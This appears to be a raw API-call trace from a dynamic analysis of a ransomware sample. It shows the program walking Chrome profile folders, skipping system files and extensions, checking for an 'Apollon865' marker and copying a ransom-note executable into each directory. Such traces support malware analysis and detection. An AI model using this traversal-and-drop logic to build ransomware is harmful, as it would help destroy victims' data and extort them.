	[0047.165] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x342d6f30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x342d6f30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0047.165] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.165] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0047.165] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0047.165] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0047.165] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x342d6f30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x342d6f30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0047.165] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0047.165] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8448d2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8448d2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pkedcjkdefgpdelpbcmbmeomcjbeemfm", cAlternateFileName="PKEDCJ~1")) returned 1
	[0047.165] lstrcmpiW (lpString1="pkedcjkdefgpdelpbcmbmeomcjbeemfm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.165] lstrcmpiW (lpString1="pkedcjkdefgpdelpbcmbmeomcjbeemfm", lpString2="Apollon865.txt.exe") returned 1
	[0047.165] lstrcmpiW (lpString1="pkedcjkdefgpdelpbcmbmeomcjbeemfm", lpString2=".") returned 1
	[0047.165] lstrcmpiW (lpString1="pkedcjkdefgpdelpbcmbmeomcjbeemfm", lpString2="..") returned 1
	[0047.165] lstrcmpiW (lpString1="pkedcjkdefgpdelpbcmbmeomcjbeemfm", lpString2="windows") returned -1
	[0047.165] lstrcmpiW (lpString1="pkedcjkdefgpdelpbcmbmeomcjbeemfm", lpString2="bootmgr") returned 1
	[0047.166] lstrcmpiW (lpString1="pkedcjkdefgpdelpbcmbmeomcjbeemfm", lpString2="temp") returned -1
	[0047.166] lstrcmpiW (lpString1="pkedcjkdefgpdelpbcmbmeomcjbeemfm", lpString2="pagefile.sys") returned 1
	[0047.166] lstrcmpiW (lpString1="pkedcjkdefgpdelpbcmbmeomcjbeemfm", lpString2="boot") returned 1
	[0047.166] lstrcmpiW (lpString1="pkedcjkdefgpdelpbcmbmeomcjbeemfm", lpString2="ids.txt") returned 1
	[0047.166] lstrcmpiW (lpString1="pkedcjkdefgpdelpbcmbmeomcjbeemfm", lpString2="ntuser.dat") returned 1
	[0047.166] lstrcmpiW (lpString1="pkedcjkdefgpdelpbcmbmeomcjbeemfm", lpString2="perflogs") returned 1
	[0047.166] lstrcmpiW (lpString1="pkedcjkdefgpdelpbcmbmeomcjbeemfm", lpString2="MSBuild") returned 1
	[0047.166] lstrlenW (lpString="pkedcjkdefgpdelpbcmbmeomcjbeemfm") returned 32
	[0047.166] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\*") returned 101
	[0047.166] lstrcpyW (in: lpString1=0x2d3e618, lpString2="pkedcjkdefgpdelpbcmbmeomcjbeemfm" | out: lpString1="pkedcjkdefgpdelpbcmbmeomcjbeemfm") returned="pkedcjkdefgpdelpbcmbmeomcjbeemfm"
	[0047.166] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0047.166] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x10a) returned 0x5aa3c8
	[0047.166] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x5b7c90
	[0047.166] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8448d2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8448d2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pkedcjkdefgpdelpbcmbmeomcjbeemfm", cAlternateFileName="PKEDCJ~1")) returned 0
	[0047.166] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0047.166] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc90
	[0047.166] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm"
	[0047.166] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa3c8 | out: hHeap=0x580000) returned 1
	[0047.166] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0047.166] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm") returned 132
	[0047.166] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm"
	[0047.166] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.166] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.179] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.179] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x342fd090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x342fd090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0047.179] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.179] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.179] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0047.179] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x342fd090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x342fd090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0047.179] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.179] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0047.179] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0047.180] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0047.180] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8448d2b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8448d2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8448d2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1
	[0047.180] lstrcmpiW (lpString1="000003.log", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.180] lstrcmpiW (lpString1="000003.log", lpString2="Apollon865.txt.exe") returned -1
	[0047.180] lstrcmpiW (lpString1="000003.log", lpString2=".") returned 1
	[0047.180] lstrcmpiW (lpString1="000003.log", lpString2="..") returned 1
	[0047.180] lstrcmpiW (lpString1="000003.log", lpString2="windows") returned -1
	[0047.180] lstrcmpiW (lpString1="000003.log", lpString2="bootmgr") returned -1
	[0047.180] lstrcmpiW (lpString1="000003.log", lpString2="temp") returned -1
	[0047.180] lstrcmpiW (lpString1="000003.log", lpString2="pagefile.sys") returned -1
	[0047.180] lstrcmpiW (lpString1="000003.log", lpString2="boot") returned -1
	[0047.180] lstrcmpiW (lpString1="000003.log", lpString2="ids.txt") returned -1
	[0047.180] lstrcmpiW (lpString1="000003.log", lpString2="ntuser.dat") returned -1
	[0047.180] lstrcmpiW (lpString1="000003.log", lpString2="perflogs") returned -1
	[0047.180] lstrcmpiW (lpString1="000003.log", lpString2="MSBuild") returned -1
	[0047.180] lstrlenW (lpString="000003.log") returned 10
	[0047.180] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*") returned 134
	[0047.180] lstrcpyW (in: lpString1=0x2d3e65a, lpString2="000003.log" | out: lpString1="000003.log") returned="000003.log"
	[0047.180] lstrlenW (lpString="000003.log") returned 10
	[0047.180] lstrlenW (lpString="Apollon865") returned 10
	[0047.180] lstrlenW (lpString=".dll") returned 4
	[0047.180] lstrcmpiW (lpString1="000003.log", lpString2=".dll") returned 1
	[0047.180] lstrlenW (lpString=".lnk") returned 4
	[0047.180] lstrcmpiW (lpString1="000003.log", lpString2=".lnk") returned 1
	[0047.180] lstrlenW (lpString=".ini") returned 4
	[0047.180] lstrcmpiW (lpString1="000003.log", lpString2=".ini") returned 1
	[0047.180] lstrlenW (lpString=".sys") returned 4
	[0047.180] lstrcmpiW (lpString1="000003.log", lpString2=".sys") returned 1
	[0047.180] lstrlenW (lpString="000003.log") returned 10
	[0047.180] lstrcpyW (in: lpString1=0x2d3e65a, lpString2="CURRENT" | out: lpString1="CURRENT") returned="CURRENT"
	[0047.181] lstrlenW (lpString="CURRENT") returned 7
	[0047.181] lstrlenW (lpString="Apollon865") returned 10
	[0047.181] lstrlenW (lpString=".dll") returned 4
	[0047.181] lstrcmpiW (lpString1="CURRENT", lpString2=".dll") returned 1
	[0047.181] lstrlenW (lpString=".lnk") returned 4
	[0047.181] lstrcmpiW (lpString1="CURRENT", lpString2=".lnk") returned 1
	[0047.181] lstrlenW (lpString=".ini") returned 4
	[0047.181] lstrcmpiW (lpString1="CURRENT", lpString2=".ini") returned 1
	[0047.181] lstrlenW (lpString=".sys") returned 4
	[0047.181] lstrcmpiW (lpString1="CURRENT", lpString2=".sys") returned 1
	[0047.181] lstrlenW (lpString="CURRENT") returned 7
	[0047.181] lstrcpyW (in: lpString1=0x2d3e65a, lpString2="LOCK" | out: lpString1="LOCK") returned="LOCK"
	[0047.181] lstrlenW (lpString="LOCK") returned 4
	[0047.181] lstrlenW (lpString="Apollon865") returned 10
	[0047.181] lstrlenW (lpString=".dll") returned 4
	[0047.181] lstrlenW (lpString=".lnk") returned 4
	[0047.181] lstrlenW (lpString=".ini") returned 4
	[0047.181] lstrlenW (lpString=".sys") returned 4
	[0047.181] lstrlenW (lpString="LOCK") returned 4
	[0047.181] lstrcpyW (in: lpString1=0x2d3e65a, lpString2="LOG" | out: lpString1="LOG") returned="LOG"
	[0047.181] lstrlenW (lpString="LOG") returned 3
	[0047.181] lstrlenW (lpString="Apollon865") returned 10
	[0047.181] lstrlenW (lpString=".dll") returned 4
	[0047.181] lstrlenW (lpString=".lnk") returned 4
	[0047.181] lstrlenW (lpString=".ini") returned 4
	[0047.181] lstrlenW (lpString=".sys") returned 4
	[0047.181] lstrlenW (lpString="LOG") returned 3
	[0047.181] lstrcpyW (in: lpString1=0x2d3e65a, lpString2="MANIFEST-000001" | out: lpString1="MANIFEST-000001") returned="MANIFEST-000001"
	[0047.181] lstrlenW (lpString="MANIFEST-000001") returned 15
	[0047.181] lstrlenW (lpString="Apollon865") returned 10
	[0047.182] lstrcmpiW (lpString1="EST-000001", lpString2="Apollon865") returned 1
	[0047.182] lstrlenW (lpString=".dll") returned 4
	[0047.182] lstrcmpiW (lpString1="MANIFEST-000001", lpString2=".dll") returned 1
	[0047.182] lstrlenW (lpString=".lnk") returned 4
	[0047.182] lstrcmpiW (lpString1="MANIFEST-000001", lpString2=".lnk") returned 1
	[0047.182] lstrlenW (lpString=".ini") returned 4
	[0047.182] lstrcmpiW (lpString1="MANIFEST-000001", lpString2=".ini") returned 1
	[0047.182] lstrlenW (lpString=".sys") returned 4
	[0047.182] lstrcmpiW (lpString1="MANIFEST-000001", lpString2=".sys") returned 1
	[0047.182] lstrlenW (lpString="MANIFEST-000001") returned 15
	[0047.182] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage"
	[0047.182] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1758 | out: hHeap=0x580000) returned 1
	[0047.182] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0047.182] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage") returned 89
	[0047.182] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage"
	[0047.182] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.182] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.190] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.190] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83ede170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x343231f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x343231f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0047.190] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.190] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.190] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0047.190] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83ede170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x343231f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x343231f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0047.190] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.190] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0047.190] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0047.190] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0047.190] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90191d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x90191d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9048b8f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage", cAlternateFileName="CHROME~1.LOC")) returned 1
	[0047.190] lstrcmpiW (lpString1="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.190] lstrcmpiW (lpString1="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage", lpString2="Apollon865.txt.exe") returned 1
	[0047.190] lstrcmpiW (lpString1="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage", lpString2=".") returned 1
	[0047.190] lstrcmpiW (lpString1="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage", lpString2="..") returned 1
	[0047.190] lstrcmpiW (lpString1="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage", lpString2="windows") returned -1
	[0047.190] lstrcmpiW (lpString1="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage", lpString2="bootmgr") returned 1
	[0047.190] lstrcmpiW (lpString1="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage", lpString2="temp") returned -1
	[0047.191] lstrcmpiW (lpString1="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage", lpString2="pagefile.sys") returned -1
	[0047.191] lstrcmpiW (lpString1="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage", lpString2="boot") returned 1
	[0047.191] lstrcmpiW (lpString1="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage", lpString2="ids.txt") returned -1
	[0047.191] lstrcmpiW (lpString1="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage", lpString2="ntuser.dat") returned -1
	[0047.191] lstrcmpiW (lpString1="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage", lpString2="perflogs") returned -1
	[0047.191] lstrcmpiW (lpString1="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage", lpString2="MSBuild") returned -1
	[0047.191] lstrlenW (lpString="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage") returned 64
	[0047.191] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\*") returned 91
	[0047.191] lstrcpyW (in: lpString1=0x2d3e604, lpString2="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage" | out: lpString1="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage") returned="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage"
	[0047.191] lstrlenW (lpString="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage") returned 64
	[0047.191] lstrlenW (lpString="Apollon865") returned 10
	[0047.191] lstrcmpiW (lpString1="calstorage", lpString2="Apollon865") returned 1
	[0047.191] lstrlenW (lpString=".dll") returned 4
	[0047.191] lstrcmpiW (lpString1="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage", lpString2=".dll") returned 1
	[0047.191] lstrlenW (lpString=".lnk") returned 4
	[0047.191] lstrcmpiW (lpString1="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage", lpString2=".lnk") returned 1
	[0047.191] lstrlenW (lpString=".ini") returned 4
	[0047.191] lstrcmpiW (lpString1="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage", lpString2=".ini") returned 1
	[0047.191] lstrlenW (lpString=".sys") returned 4
	[0047.191] lstrcmpiW (lpString1="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage", lpString2=".sys") returned 1
	[0047.191] lstrlenW (lpString="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage") returned 64
	[0047.191] lstrcpyW (in: lpString1=0x2d3e604, lpString2="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal" | out: lpString1="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal") returned="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal"
	[0047.191] lstrlenW (lpString="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal") returned 72
	[0047.191] lstrlenW (lpString="Apollon865") returned 10
	[0047.191] lstrcmpiW (lpString1="ge-journal", lpString2="Apollon865") returned 1
	[0047.191] lstrlenW (lpString=".dll") returned 4
	[0047.192] lstrcmpiW (lpString1="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal", lpString2=".dll") returned 1
	[0047.192] lstrlenW (lpString=".lnk") returned 4
	[0047.192] lstrcmpiW (lpString1="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal", lpString2=".lnk") returned 1
	[0047.192] lstrlenW (lpString=".ini") returned 4
	[0047.192] lstrcmpiW (lpString1="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal", lpString2=".ini") returned 1
	[0047.192] lstrlenW (lpString=".sys") returned 4
	[0047.192] lstrcmpiW (lpString1="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal", lpString2=".sys") returned 1
	[0047.192] lstrlenW (lpString="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal") returned 72
	[0047.192] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings"
	[0047.192] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a5368 | out: hHeap=0x580000) returned 1
	[0047.192] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b28 | out: hHeap=0x580000) returned 1
	[0047.192] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings") returned 100
	[0047.192] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings"
	[0047.192] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.192] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.195] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
